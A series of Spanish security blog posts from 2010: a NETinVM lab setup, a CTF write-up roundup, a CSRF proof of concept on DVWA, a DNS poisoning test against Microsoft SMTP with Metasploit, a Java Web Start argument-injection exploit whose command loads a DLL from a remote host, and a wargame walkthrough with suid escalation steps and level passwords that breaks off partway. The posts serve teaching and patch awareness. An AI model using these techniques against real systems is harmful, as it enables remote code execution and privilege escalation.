En total, por defecto, tenemos 7 máquinas UML separadas en tres redes. Tanto las máquinas de la DMZ como las externas presentan algunos servicios típicos como servicios web o similares, con el fin de que podamos realizar todo tipo de pruebas. También tenemos un firewall con iptables con el que podremos realizar pruebas de todo tipo, y que tiene pre-instalado un Snort que puede ser utilizado para probar a crear nuevas reglas que creemos y ver que tal funciona la detección. Además, las máquinas virtuales son Debian, por lo que podemos instalar lo que necesitemos en ellas, incluso a través de aptitude.

El funcionamiento de la máquina está perfectamente explicado en la documentación oficial. No obstante, hay algunas modificaciones que podemos hacer sobre NETinVM que consideramos interesantes:

Elección de máquinas virtuales

Para la gran mayoría de las pruebas que vayamos a realizar, probablemente las 7 máquinas UML que se arrancan por defecto sean innecesarias y simplemente van a consumirnos recursos, así que resulta muy interesante poder elegir cuales de estas máquinas UML queremos que arranquen, y cuales no.

Para ello, editaremos el fichero /home/user1/uml/bin/uml_run_all.sh que es el encargado de lanzar todas las máquinas, y nos encontramos lo siguiente:

uml.sh -d 4 fw

uml.sh -d 2 a ext

uml.sh -d 3 b ext

uml.sh -d 8 a int

uml.sh -d 7 b int

uml.sh -d 5 a dmz

uml.sh -d 6 b dmz

Como podemos ver, el script es sencillo, hay llamadas a otro script uml.sh que es el encargado de lanzar cada una de las máquinas virtuales de forma individual. El parámetro -d nos deja elegir el escritorio de entre los 8 que tiene la máquina virtual SuSe en el que queremos que la máquina UML se situe, mientras que en el resto de parámetros elegimos la red en la que se encontrará (ext, int, dmz) y cual de las máquinas de esa red queremos arrancar.

Por poner un ejemplo, imaginad que queremos realizar una prueba de MitM en LAN, con lo que solo necesitamos 2 máquinas en una LAN y 1 máquina de otra LAN a la que conectar para hacer la prueba, y por supuesto el firewall, así que podríamos reducir la cantidad de máquinas arrancadas cambiando el fichero de la siguiente manera con lo que ahorramos muchos recursos:

uml.sh -d 4 fw

uml.sh -d 2 a ext

uml.sh -d 8 a int

uml.sh -d 7 b int

Para otro tipo de ejercicios esta configuración podría (y debería) cambiar, por supuesto.

Memoria de cada máquina UML

Otro de los parámetros que podemos querer variar es la memoria que es asignada a cada máquina UML, ya que podemos encontrarnos con que una de las máquinas no realiza realmente ninguna función y por tanto no necesita mucho, y que por contra otras requieren utilizar múltiples herramientas que funcionarían de una forma mucho más ágil con un poquito más de memoria.

Para hacerlo, la manera más fácil es realizar una copia del fichero /home/user1/uml/bin/uml.sh a, por ejemplo, /home/user1/uml/bin/uml512.sh (lo lógico es poner un nombre representativo de la cantidad de memoria que le vamos a asignar) y editar este último fichero, en el que podremos leer las siguientes lineas:

# Virtual machine configuration

XTERM=terminal.sh

MEM=128M

A simple vista podemos ver que cambiando el valor de la variable MEM podemos cambiar la cantidad de memoria asignada a la máquina. En nuestro caso, lo cambiamos por 512M y guardamos los cambios.

Por último, tenemos que elegir cual de las máquinas que arrancamos va a tener esta configuración "especial", y eso lo tendremos que hacer editando uml_run_all.sh, tal y como hacíamos antes, y cambiar la llamada a uml.sh por uml512.sh en aquellas máquinas a las que queramos aumentarlas la memoria. Por ejemplo, en un caso en el que queramos hacer pruebas con el Snort del firewall podríamos querer disponer en esta máquina de más memoria.

uml512.sh -d 4 fw

uml.sh -d 2 a ext

uml.sh -d 8 a int

Por supuesto, a la hora de asignar una memoria distinta a las máquinas, tened en cuenta que la memoria asignada a la máquina virtual SuSe que lo contiene todo la tenga disponible, sino tendréis que aumentar ésta también.

Switches en modo Switch o Hub

Por defecto, imagino que para facilitar los ejercicios de sniffing, los switches virtuales se encuentran configurados en modo hub, por lo que todo el tráfico que envía cada una de las máquinas UML llega al resto de máquinas que se encuentran en la misma LAN. Esto, sin embargo, puede ser un problema si queremos realizar técnicas de MitM como por ejemplo ARP-Spoofing, ya que nos vemos el comportamiento real que tendría un switch.

Para hacer que los switches funcionen de su forma habitual, tendremos que editar el fichero /home/user1/uml/bin/uml_switch.sh y buscar la cadena "hub", con lo que nos encontraremos con la siguiente linea:

COMMAND="$UML_SWITCH -unix $SOCKET -hub -tap $TAP >/dev/null 2>&1"

Para cambiar el funcionamiento de hub a switch solo tenemos que eliminar la opción -hub de la llamada y guardar los cambios, y así la siguiente vez que arranquemos todos los switches funcionarán de la manera esperada

En próximos posts veréis como utilizamos esta herramienta, con alguna de las modificaciones que os acabamos de comentar, para demostrar un par de técnicas que nos vinieron a la cabeza al ver los retos de las Quals de la Defcon.

Defcon18 CTF PreQuals: WriteUps (Soluciones)

noreply@blogger.com (Jose Selvi) — Tue, 25 May 2010 07:28:00 +0000

Tanto si has participado como si no, siempre es interesante ver las soluciones de otros, como han resuelto aquello en lo que te quedaste enganchado, o simplemente intentar pensar si lo hubieras podido resolver si hubieras participado (aunque para este caso siempre somos un poco "sobrados", cuando otro nos dice la solución siempre parece muy fácil :P

Bueno, el caso es que las PreQuals del CTF de la Defcon18 acabaron ayer a las 04:00 de la mañana, y en estos momentos llevamos unas cuantas horas que diversos participantes están publicando sus soluciones, así que me ha parecido interesante hacer una pequeña recopilación que iremos completando según vayan saliendo soluciones. Por supuesto, dejad comentarios si veis más soluciones que merece la pena incluir :)

Allá vamos, por categorías, que como ya sabeis están puntuadas de 100 a 500 en función de la dificultad:

Pursuit Trivial: 100, 200, 300, 400, 500
Crypto Badness: 100, 200, 300, 400, 500
Packet Madness: 100, 200, 300, 400, 500
Binary L33tness: 100, 200, 300, 400, 500
Pwtent Pwnables:100, 200, 300, 400, 500
Forensics: 100, 200, 300, 400, 500

También se han publicado algunos videos.

Si alguien encuentra por ahí algún WriteUp para los que faltan, o una solución mejor o mejor explicada a los que hay aquí, que ponga un comentario y lo cambiamos.

Gracias también a todas las personas a las que sigo en Twitter, y a Google, sin cuya colaboración este post no sería posible :P A ver si lo conseguimos completar entre todos.

Desde Pentester.Es, enhorabuena a aquellos equipos que se han clasificado para la final en Las Vegas.
Mucha suerte!

Creando PoC CSRF: CSRFTester 1.0

noreply@blogger.com (José Miguel Holguín) — Wed, 19 May 2010 05:00:00 +0000

Todos o casi todos conoceréis el proyecto OWASP dada su relevancia hoy en día y por el gran trabajo que están realizando todos los participantes de este proyecto. Dentro de la multitud de proyectos, existe uno con nombre "OWASP CSRFTester Project". Este proyecto tiene como objetivo ofrecer una herramienta a los desarrolladores para testear sus aplicaciones frente a vulnerabilidades del tipo CSRF (Cross-Site Request Forgery).

Entre la gran variedad de documentación sobre CSRF podéis consultar la guía de OWASP en la prueba OWASP-SM-005 para entender bien la técnica (está muy bien explicado :D, por lo que no entraremos en esta entrada). Una vez leído y entendido pasamos a crear una prueba de concepto.

Para variar (jijijiji), usaremos la aplicación DVWA para atacarla; ya habéis visto que es una de mis favoritas:

Como vemos en la aplicación existe un ejemplo para probar un ataque de CSRF. Así que vamos a crear una prueba de concepto con CSRFTester para aprovecharla.

En la imagen anterior se ve como la funcionalidad bajo el menú CSRF permite cambiar la contraseña introduciéndo dos veces la nueva contraseña. Una vez vista la funcionalidad de la aplicación que queremos que ejecute la víctima sin darse cuenta, arrancamos CSRFTester para construir la prueba de concepto. La herramienta se pondrá a escuchar en el puerto 8008 por defecto:

Ahora configuramos el proxy del navegador a la ip donde hemos levantado CSRFTester y el puerto 8008 (en este caso localhost:8008). Una vez hecho esto arrancamos la herramienta con el botón "Start Recording"; rellenamos los campos del formulario de la funcionalidad y presionamos el botón de "Change", con lo que registraremos un petición en CSRFTester:

Acto seguido presionamos el botón "Generate HTML", seleccionando por ejemplo "Report type > Form", obteniendo el siguiente resultado en formato html:

Si una víctima visita este ejemplo de página web y está a su vez autenticado en la aplicación se cambiará la contraseña sin su consentimiento y de manera automática. Como véis el objetivo del post es que podáis hacer de la manera más rapida posible pruebas de concepto sobre CSRF.

Como siempre espero que os sea de utilidad, tanto a desarrolladores como pentesters.

DNS Poisoning sobre Microsoft SMTP

noreply@blogger.com (Jose Selvi) — Tue, 11 May 2010 05:26:00 +0000

Hace unos días, la gente de Core Security publicaba en su web un Advisory en el que comentaban haber descubierto la corrección de dos vulnerabilidades de gran importancia en los servicios SMTP de Microsoft. Según parece, Microsoft corrigió estas vulnerabilidades en el parche MS10-024, pero sin notificar su existencia ni su criticidad, ya que el "Maximum Security Impact" (impacto de seguridad máximo) de dicho parche era de Denegación de Servicio, lo cual parece no ser exacto a tenor del descubrimiento del equipo de Core Security.

Según el Advisory, las vulnerabilidades consisten en la utilización por parte de los servicios Microsoft SMTP y Exchange de una rutina propia para la resolución de nombres DNS a la hora de realizar el envío de correos electrónicos, la cual presentaba 2 vulnerabilidades que podrían permitir a un atacante realizar un envenenamiento de la caché del servidor de correo, y por tanto provocar una redirección del correo con destino al dominio envenenado a un servidor arbitrario (controlado por un atacante, claro). Veamos las vulnerabilidades:

1. Predecibilidad en los IDs:

El problema de predecibilidad en los IDs de DNS fue corregido por la mayoría de los fabricantes allá por el 2008, con la aparición del famoso Ataque Kaminsky del que ya hablamos en un par de ocasiones y que causó tanto revuelo en aquel momento debido a su criticidad. Sin embargo, esta rutina empleada por los servicios SMTP de Microsoft ha mantenido este problema hasta la aparición del pache MS10-024.

Para comprobar esta vulnerabilidad y verla con nuestros propios ojos, podemos realizar una sencilla prueba empleando el módulo de Metasploit server/fakedns, el cual nos va a permitir levantar un servicio DNS que devuelva ante todas las peticiones la respuesta que nosotros queremos, pero esa funcionalidad en estos momentos no nos interesa, sino que nos basta con poder ver el log que deja ante dichas peticiones, para observar la aleatoriedad de los IDs, puertos, etc.

# ./msfconsole

msf > use server/fakedns

msf auxiliary(fakedns) > set TARGETHOST 172.16.24.150

TARGETHOST => 172.16.24.150

msf auxiliary(fakedns) > run

En ese momento Metasploit nos devuelve el control de la consola, pero nuestro servicio se ha quedado ya a la escucha y nos va a ir logando por pantalla toda la información que queremos, así que solo tenemos que ir a un sistema Windows (en mi caso un Windows 2003 Server) y realizar dos sencillas prueba: en primer lugar abrimos un cmd.exe y resolvemos el nombre de varios dominios aleatoriamente, los que prefiramos, y en segundo lugar nos conectamos al puerto 25 de dicho servidor e intentamos mandar un correo electrónico a cuentas de dominios igualmente aleatorios. Tras hacer ambas pruebas, el resultado en nuestro servidor Fake DNS es el siguiente:

Como se puede observar, en las primera pruebas (desde cmd.exe) vemos que el ID (marcado como XID) es aleatorio, o al menos no parece visiblemente predecible (luego nunca se sabe, que se lo digan a los de Debian). Sin embargo, en la segunda tanda de pruebas (desde el servidor SMTP) vemos que la generación de los XID es claramente diferente. Podemos ver marcado en rojo como el XID inicial es 1 (la máquina se acababa de arrancar), y que sucesivamente se ha ido incrementando con cada petición, aunque hayamos cambiado de dominio, por lo que os podéis imaginar que la predecibilidad es total.

Además, si pegamos un vistazo a los puertos de origen (marcados en azul) vemos que tampoco se ha hecho un gran esfuerzo por hacerlo aleatorio, ya que podemos observar que son casi secuenciales (seguramente el puerto que falta entre medias es el intento de conexión SMTP o similar).

Por lo tanto, si tanto el ID como el puerto de origen son algo trivialmente predecible y son la única medida que protege al protocolo DNS de la realización de ataques de DNS Spoofing... nos encontramos con que, al igual que sucedía con el Ataque Kaminsky, es posible lanzar una ráfaga de paquetes con IP y puerto de origen falseado que contentan una resolución falsa que nos permita, en este caso, redirigir TODOS los correos enviados a un dominio a un servidor de nuestra elección.

2. No utilización de los IDs para validar la respuesta:

Yo me quedé de piedra con esta. Como lo oís: además de generar los IDs de forma secuencial... directamente no se comprueba que la respuesta DNS tenga el mismo ID que fue generado para la petición DNS, así que el ataque anterior se acaba de volver mucho más sencillo, ya que no es necesario intentar obtener el último ID utilizado para realizar el ataque, sino simplemente el último puerto.

Para comprobarlo, realizamos una pequeña modificación en el módulo de Metasploit que ya utilizamos anteriormente, el server/fakedns. Este módulo, toma la petición que le enviamos, le incorpora un campo donde se encuentra la resolución solicitada y quizá algún campo ocasional, y lo devuelve al origen de la petición, conservando en todo momento el ID con el que llegó dicha petición. Para ver con nuestros propios ojos esto de que el servicio SMTP de Microsoft no hace ni caso del ID vamos a realizar una modificación de este módulo para hardcodear el valor del ID, de tal manera que forcemos que las respuestas tengan un ID diferente a las peticiones. Para ello, partiendo del directorio raíz de Metasploit (donde está msfconsole), editamos el fichero modules/auxiliary/server/fakedns.rb y buscamos la cadena "send", lo cual nos llevará a la instrucción en la que la respuesta es enviada. Una vez en esa zona del código, introducimos la siguiente modificación:

Esta modificación lo que nos permite es fijar el valor del ID de los paquetes de respuesta a "69" (por ejemplo :P), independientemente del origen. Veamos ahora si sigue funcionando (recordad reiniciar Metasploit para que se vuelva a cargar este módulo, sino no va a funcionar):

Parece que el asunto funciona, o al menos eso nos muestra Metasploit, pero vamos a ir al que "nunca nos miente", al tcpdump, a ver que está pasando realmente por debajo:

Efectivamente, hemos conseguido lo que queríamos, vemos que el servidor SMTP nos está pidiendo la resolución DNS con ID 1, y que nosotros estamos enviando una respuesta válida, con el puerto adecuado, desde la IP adecuada, pero con un ID totalmente inventado. Ahora nos falta por ver si el servidor SMTP se lo ha tragado, y para ello lo mejor es poner un NetCat en el puerto 25 para ver si el servidor realiza conexión TCP contra esta máquina, ya que si lo hace quiere decir que "ha picado" y que se dispone a enviar el correo a la IP de la respuesta malformada (con ID diferente):

Parece que el asunto ha colado. Increíble pero cierto.

En resumen, todos aquellos servidores SMTP de Microsoft a los que no se les haya aplicado el parche MS10-024 son vulnerables a envenenamiento de sus DNSs y por tanto a la redirección de correos a servidores arbitrarios, con tan solo ser capaces de predecir el puerto de origen (trivial, como podemos ver) y tener un poco de suerte a la hora de que las respuestas maliciosas sean un poco más rápidas que las auténticas.

Se recomienda por tanto a todos los administradores de servidores de este tipo que apliquen este parche, aunque Microsoft no lo catalogue con la criticidad correspondiente.

Explotando Java Web Start

noreply@blogger.com (Jose Selvi) — Tue, 04 May 2010 05:19:00 +0000

En nuestro post de ayer comentabamos con detalle la vulnerabilidad en Java Web Start encontrada recientemente por Ruben Santamarta y Tavis Ormandy, pero nos quedabamos con un par de preguntas: ¿Podemos controlar el contenido de esas variables que son utilizadas para formar la llamada al binario sin ningún tipo de filtraro? ¿Cómo lo haríamos?

Pues bien, ¡vamos allá!

Según se puede leer en la documentación oficial de Java sobre como utilizar los tags Applet, Embed y Object, es posible establecer como parámetros los valores de estas variables que comentabamos en nuestro post anterior. Como resultado, podriamos contruir un código HTML que, al ser visitado por nuestro objetivo, ejecutara el Applet Java que le pasaramos, con las opciones que nosotros queramos, debido a esta vulnerabilidad.

Vamos a comprobarlo con este pequeño código de ejemplo:

Hemos incluido en las opciones todo tipo de caracteres que nos pudieran resultar útiles a la hora de la explotación, como guiones, comillas y tuberías, para comprobar si efectivamente las cadenas que introduzcamos en este código HTML van a utilizarse tal cual en la llamada al binario de Java, sin ningún tipo de filtrado.

Para comprobar exactamente como es la llamada a la función, nos hemos hecho un sencillo programita en C que sencillamente lo que hace es capturar las opciones con las que ha sido llamado y las guarda en un fichero de texto, a modo de log:

(Disclaimer: Este código ha sido desarrollado de forma rápida para realizar la demostración sin tener en consideración las buenas prácticas de programación y seguridad. NO utilizar en entornos diferentes a pruebas ni de ninguna manera en la que no se controle los parámetros con lo que es llamado el binario)

Este código, una vez compilado, ha sustituido al binario javaws.exe, para de esta manera poder disponer de un registro en el que veremos exactamente como han sido las llamadas, obteniendo el siguiente resultado:

Como podemos ver, esta vulnerabilidad nos va a permitir establecer las opciones que queramos en la llamada a javaws.exe, aunque no realizar directamente una ejecución de comandos, ya que el binario es llamado mediante la función CreateProcess, y no lanzado directamente a una shell de comandos. No obstante, pegando un vistazo a las opciones que nos permite utilizar javaws.exe, tenemos las siguientes:

Mediante la opción "-J" podemos establecer parámetros que serán enviados directamente a la máquina virtual, incluida una opción oculta de la máquina virtual y que no aparece en los menús de ayuda, llamada -XXaltjvm, que nos permitiría la inclusión de una librería alternativa.

¡BINGO! Si podemos incluir una librería podemos crear una librería que sea accesible a través de la red y que realice la ejecución del payload que queramos. Luego solo hay que pasar los parámetros adecuados a través del HTML que veíamos antes para que nuestra DLL sea cargada y... tachan! ejecución remota de código.

Para realizar todo esto de una forma cómoda, existe un plugin de Metasploit llamado java_ws_arginject_altjvm que podemos utilizar, veamos con que opciones:

Una vez lanzado el exploit, un servidor HTTP será lanzado a la escucha en el puerto 80, esperando conexiones a las que les devolverá el código HTML que explota la vulnerabilidad, obteniendo así el control de la máquina:

Si sustituimos de nuevo el binario javaws.exe por nuestro binario que registra los parámetros, obtenemos que el exploit de Metasploit está introduciendo los siguientes parámetros:

javaws.exe -docbase -J-XXaltjvm=\\172.16.24.150\aleatorio1 aleatorio2.jnlp

Esta vulnerabilidad es considerada de criticidad máxima, por lo que se recomienda a todos los usuarios de prácticamente cualquier sistema operativo que actualicen su versión de Java a la última disponible, y se aseguren que esta es al menos la 1.6.0_20, ya que esta es la versión en la que se introdujo el parche de esta vulnerabilidad. Más información en las release notes.

Vulnerabilidad en Java Web Start

noreply@blogger.com (Jose Selvi) — Mon, 03 May 2010 06:05:00 +0000

Hace algunas semanas, en el twitter de Ruben Santamarta, un conocido investigador Español, podíamos ver el siguiente comentario:

Con la liebre correteando por ahí y todos nosotros desinstalando Java de nuestros navegadores, Rubén publico en su web algunos detalles más sobre la vulnerabilidad, que parece haber sido descubierta casi simultáneamente por él y por Tavis Ormandy, otro conocido investigador.

Según parece, la vulnerabilidad reside en una mala validación de ciertos parámetros que se pasan por linea de comandos al binario java.exe/javaws.exe en el momento que un navegador quiere ejecutar contenido Java.

Voy a tomarme la pequeña libertad de comentar el código publicado por Rubén, en su página web. También añadiré alguna captura mía de algún trozo de código que me parece interesante y que no aparece en la publicación de Rubén.

Aunque parezca raro, creo que en esta ocasión lo mejor para entender la vulnerabilidad es comenzar desde el final, es decir, desde el momento que se llama a javaws.exe. Si nos fijamos en el final del código seleccionado por Rubén, vemos que se apilan un montón de parámetros (push) antes de llamar a la función CreateProcessA. Esta función va a ser la encargada de crear un nuevo proceso con los parámetros que nosotros le hayamos pasado a través de la pila, es decir, todos esos parámetros que justo antes de la llamada estaban siendo apilados. Podemos obtener más información sobre estos parámetros acudiendo a la documentación oficial de Microsoft.

De entre todos estos parámetros, el afectado por la vulnerabilidad es lpCommandLine, mediante el cual le especificamos a la función con que parámetros en linea de comandos deberá llamar al binario (javaws.exe). En este caso, vemos que se está realizando un "push esi", es decir, en el lugar de la pila de donde CreateProcessA va a sacar el valor de lpCommandLine estamos metiendo el valor contenido en el registro ESI.

Perfecto.

Y...

¿Qué narices hay en ESI? :P

Evidentemente, el registro ESI podría haber sido cambiado en cualquier sitio y posteriormente haber hecho un salto a la zona de código que vemos, pero si no me equivoco si esto fuera así el IDA Pro nos habría etiquetado la linea con un "loc_direccion", y no es el caso. Dicho esto, vemos que solo existen dos posibilidades:

La ejecución viene de la dirección 6DAA3EB7 y al llegar a 6DAA3EC6 hace un salto a 6DAA3ED4 (jmp short loc_6DAA3ED4).
La ejecución ha saltado de una zona anterior al código que no vemos a 6DAA3EC8 y desde ahí ha seguido su ejecución normal hasta llegar a 6DAA3ED4 sin ningún tipo de saltos, ya que su código es consecutivo.

Vamos a seguir trazando hacia atrás a ver si vemos donde se ha definido el contenido del registro ESI. En este caso, para ambas opciones vemos que ESI contiene la dirección de memoria de un Buffer donde se va a guardar la cadena de texto resultado de la llamada a la función wsprintfA. Esta función es prácticamente idéntica (solo cambia el soporte para Unicode, que yo sepa) a la típica función de C "sprintf", en la que definimos un buffer de destino (al que apunta ESI), una cadena de formato del tipo "%s loquesea %d blablabla %s" y las referencias a los datos que irán en los "huecos" que hayamos dejado en la cadena de formato (en mi ejemplo, 3, cadena de texto, entero, cadena de texto). Como antes, podemos obtener más información sobre esta función acudiendo a la documentación oficial de Microsoft.

En el caso que nos ocupa, podemos ver que estamos utilizando 3 cadenas para formar una cadena de la siguiente forma:

Aplicacion [-docbase OpcionesDocBase] Opciones

Siendo esto así, vemos que tanto "OpcionesDocBase" ([ebp+arg_4]) como "Opciones" ([ebp+arg_0]) están saliendo DIRECTAMENTE de los argumentos con los que se ha llamado a la función, por lo que no parece existir ningún tipo de filtrado que impida que introduzcamos espacios en blanco, guiones u otros caracteres que nos permitan modificar los argumentos con los que se creará el nuevo proceso.

Las preguntas evidentes que nos surgen ahora son:

¿Podemos controlar esos parámetros de forma remota de alguna manera? Porque sino... para poco nos va a servir todo lo que acabamos de ver.
Suponiendo que controlamos los parámetros que se le pasan a estos binarios, ¿para que sirve eso? ¿es peligroso para la seguridad?

Las respuestas son SI, podemos controlar esos parámetros y es peligroso para la seguridad.

Mañana: "Explotando Java Web Start"

Leviathan Wargame

noreply@blogger.com (Jose Selvi) — Mon, 26 Apr 2010 05:28:00 +0000

Hace unos días leíamos en el Twitter de RoMaNSoFt sobre la existencia de una serie de retos de seguridad en la web Intruded.Net que consisten en que se nos da la shell del primer nivel y tenemos que ir escalando al usuario de nivel superior hasta que completamos todas las fases del reto.

Siempre me han encantado los Wargames/Retos Hacking, especialmente aquellos en los que oigo a alguien decir que son muy difíciles, o por contra, que son muy fáciles y se pueden sacar en muy poco tiempo, porque me pican a ver si yo soy capaz de sacarlo tan rápido o, sencillamente si soy capaz de sacarlo. En este caso, este Twitt concreto hablaba de Leviathan, el Wargame más sencillo de los que hay en la web, del cual sus creadores dicen lo siguiente:

"Este wargame no requiere ningún conocimiento sobre programación - solo un poco de sentido común y algún conocimiento sobre los comandos básicos de *nix."

No está mal, es un Wargame que puede resultar muy interesante para aquellas personas que les gusta la seguridad, pero que por contra no tienen conocimientos de programación y/o reversing.

En este caso, este Wargame se basa en la existencia de algunos binarios con suid a los que les debes encontrar algún tipo de fallo que te permita acceder a un fichero .passwd que existe en el home del usuario propietario del binario, y que contiene la contraseña para el siguiente nivel. Por ejemplo, en /home/level1/.passwd está contenida la contraseña del nivel 1, y el resto de contraseñas están en ficheros idénticos en sus respectivos home's.

El Wargame, como dice RoMaNSoFt, es sencillo pero divertido, así que lo recomiendamos a todos aquellos a los que les gusten este tipo de retos, tengan el nivel que tengan. Para aquellos a los que les cueste algún nivel, o sencillamente para los que no tengan tiempo de ponerse a resolverlos pero que les gustaría saber que tipo de fallos tenían los binarios, escribimos a continuación nuestras soluciones a los retos, así que si tienes la intención de intentarlo por ti mismo... PARA DE LEER AQUÍ!!

Inténtalo al menos, no? :P

Para...

Para!!!

QUE PARES!!!!

Ok, tú lo has querido, aquí están nuestras soluciones, en las que podeis ver en negrita los comandos o entradas que debe introducir el usuario:

Solución al nivel 1

La contraseña para entrar con el usuario level1 la tenemos en la web de incio del reto, así que usando esos datos conectamos a la máquina:

$ ssh -p 10101 level1@leviathan.intruded.net

*******************************************
* Welcome to Intruded.net Wargame Server
*
* * You are playing "Leviathan"
* * Most levels can be found in /wargame
* * Login: level1:leviathan
* * Support: irc.intruded.net #wargames
*
*
* ! Server is restarted every 12 hours
* ! Server is cleaned every reboot
* ! /tmp direcotry is writable
*
*******************************************

Nada más empezar nos dice que la mayoría de niveles puede encontrarse en /wargame, así que vamos a pegarle un vistazo al directorio a ver que nos encontramos:

$ ls -la /wargame/

total 48
drwxr-xr-x 2 root root 4096 2008-03-26 02:41 .

drwxr-xr-x 22 root root 4096 2008-03-26 02:54 ..

-r-sr-s--- 1 level3 level2 7738 2008-03-26 02:31 check

-r-sr-s--- 1 level5 level4 8090 2008-03-26 02:33 level4

-r-sr-s--- 1 level7 level6 7696 2008-03-26 02:34 printfile

-r-sr-s--- 1 level4 level3 8051 2008-03-26 02:51 prog

-r-sr-s--- 1 level8 level7 7661 2008-03-26 02:35 sphinx

Como comentábamos antes, parece que tenemos unos cuantos binarios con el bit suid activo que va a permitir ejecutar algo al usuario levelX con los privilegios del usuario levelX+1. Sin embargo, hay dos casos para los que no tenemos binario en este directorio, en el level1 (en el que nos encontramos) y en el level5.

Bueno, si no tenemos nada en este directorio, vamos a ver que es lo que hay en el home del usuario level1:

$ ls -la
total 28
drwx------ 3 level1 level1 4096 2008-03-26 02:12 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
drwxr-xr-x 2 root level1 4096 2008-03-26 02:22 .backup
-rw-r--r-- 1 root root 0 2008-03-26 02:08 .bash_history
-rw-r--r-- 1 root root 220 2008-03-25 22:24 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-25 22:24 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-25 22:24 .bashrc
-rw-r--r-- 1 root root 10 2008-03-26 01:53 .passwd

Así a primer vistazo, ese directorio .backup parece intesante. Si miramos dentro nos encontramos con un fichero bookmarks.html donde tenemos el backup de la lista de favoritos de un navegador. Parece que hay muchos enlaces, quizá demasiados para revisarlos uno por uno:

$ cat bookmarks.html | wc -l
1399

Ufff, demasiados como para revisar a mano, pero quizá si buscamos algunas palabras claves como "level", "password" o similar obtengamos algún resultado interesante:

$ cat bookmarks.html | grep -i pass
[...]http://www.goshen.edu/art/ed/teachem.htm[...]password to level2

¿Una web con título "password to level2"? No puede ser tan fácil, ¿o sí?

Contraseña Nivel2: vFPMNdI0

Solución al nivel 2

Si nos acordamos de los binarios que vimos en /wargame, recordaremos que existía un binario "check" que podría permitirnos el paso al nivel 3, así que lo primero que hacemos es pegarle un vistazo al binario a ver que hace:

$ cd /wargame
$ ./check
password: PATATA
Wrong password, Good Bye ...

Parece que vamos a tener que acertar con una palabra secreta que nos dará algún tipo de acceso a la contraseña del nivel superior. Evidentemente podríamos conger el binario y desensamblarlo, a ver que hace, pero vamos a optar por algo más sencillo e inmediato, que en muchas ocasiones nos va a dar buenos resultados. Para ello utilizaremos las herramientas *trace existentes en los sistemas Linux, que nos permiten hacer una traza de la ejecución de un binario, bien sea a nivel de llamadas del sistema, procesos, llamadas a librerías, etc, dependiendo de la herramienta concreta que escojamos. En este caso, el que mejor resultado nos puede dar es ltrace, ya que presumiblemente una comparación de cadenas será realizada con funciones típicas como strcmp, para las cuales se realizará una llamada a la librería correspondiente:

$ ltrace ./check
__libc_start_main(0x8048464, 1, 0xbffffad4, 0x8048580, 0x8048530
printf("password: ") = 10
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4password: PATATA
) = 80
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 65
getchar(0x8048638, 0xb7fe0ff4, 0xbffffa28, 0x80483f0, 0xb7fe0ff4) = 84
strcmp("PAT", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 29) +++

¡Bingo! Si os fijais en la traza, vemos una llamada a strcmp("PAT", "sex"), que nos muetra que los tres primeros caracteres de la cadena que hemos introducido están siendo comparados con la palabra "sex", y da resultado negativo (-1) ¿Qué pasa si introducimos la cadena "sex" como contraseña? Es fácil de imaginar, vamos a obtener una shell con privilegios del usuario level3 con la que podremos acceder al fichero .passwd en el que contiene la contraseña para el siguiente nivel:

$ ./check
password: sex

sh-3.1$ id
uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)

sh-3.1$ cat /home/level3/.passwd
oc7vaCOg

Contraseña Nivel3: oc7vaCOg

Solución al nivel 3

Si volvemos a los binarios que vimos en /wargame, existe un binario "prog" que tiene idénticas características al que utilizamos para conseguir el pase a este nivel. Vamos a pegarle un vistazo a ver que hace:

$ ./prog
Cannot find /tmp/file.log

$ echo PATATA > /tmp/file.log

$ ./prog
PATATA

Vale, parece que el binario lee el contenido del fichero /tmp/file.log empleando los privilegios del usuario del siguiente nivel, así que si conseguieramos que lea de /home/level4/.passwd en lugar de /tmp/file.log tendremos nuestra contraseña, así que... ¿Qué tal si creamos un enlace simbólico en /tmp/file.log que apunte a /home/level4/.passwd?

$ ln -s /home/level4/.passwd /tmp/file.log

$ ./prog
R0gBtSP5

¡Ya lo tenemos!

Contraseña Nivel4: R0gBtSP5

Solución al nivel 4

El nivel 4 es muy parecido al nivel 2, tenemos un binario "level4" que nos pide una contraseña que en principio nos proporcionará algún tipo de acceso a los privilegios de level5. Si repetimos la traza que hicimos con el nivel 2, podemos buscar de la misma manera las llamadas a strcmp:

$ ./level4
Enter the password> PATATA
bzzzzzzzzap. WRONG

$ ltrace ./level4
__libc_start_main(0x8048523, 1, 0xbffffac4, 0x8048650, 0x8048600
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> PATATA
"PATATA\n", 256, 0xb7fe1300) = 0xbffff8dd
strcmp("PATATA\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++

Como podemos ver, en este caso la cadena con la que se compara es "snlprintf", así que solo tenemos que llamar nuevamente al binario con esa contraseña para obtener el acceso, y de ahí obtener la contraseña al siguiente nivel:

$ ./level4
Enter the password> snlprintf
[You've got shell]!

$ id
uid=1003(level4) gid=1003(level4) euid=1004(level5) groups=1003(level4)

$ cat /home/level5/.passwd
Dx08I4vD

¡Uno menos! ¡A por el siguiente!

Contraseña Nivel5: Dx08I4vD

Solución al Nivel 5

Tras no encontrar ningún binario que nos sirve para pasar al nivel 6 en el directorio /wargame, pegamos un vistazo al home del usuario level5, y nos encontramos un directorio ".Trash" que contiene un binario "bin" con las mismas características que los binarios existentes en /wargame:

$ ls -la
total 28
drwx------ 3 level5 level5 4096 2008-03-26 02:41 .
drwxr-xr-x 10 root root 4096 2008-03-26 01:55 ..
-rw-r--r-- 1 root root 0 2008-03-26 02:09 .bash_history
-rw-r--r-- 1 root root 220 2008-03-26 01:54 .bash_logout
-rw-r--r-- 1 root root 414 2008-03-26 01:54 .bash_profile
-rw-r--r-- 1 root root 2227 2008-03-26 01:54 .bashrc
-rw-r--r-- 1 root root 9 2008-03-26 01:55 .passwd
drwxr-xr-x 2 root level5 4096 2008-03-26 02:41 .Trash

$ cd .Trash/
$ ls -la
total 16
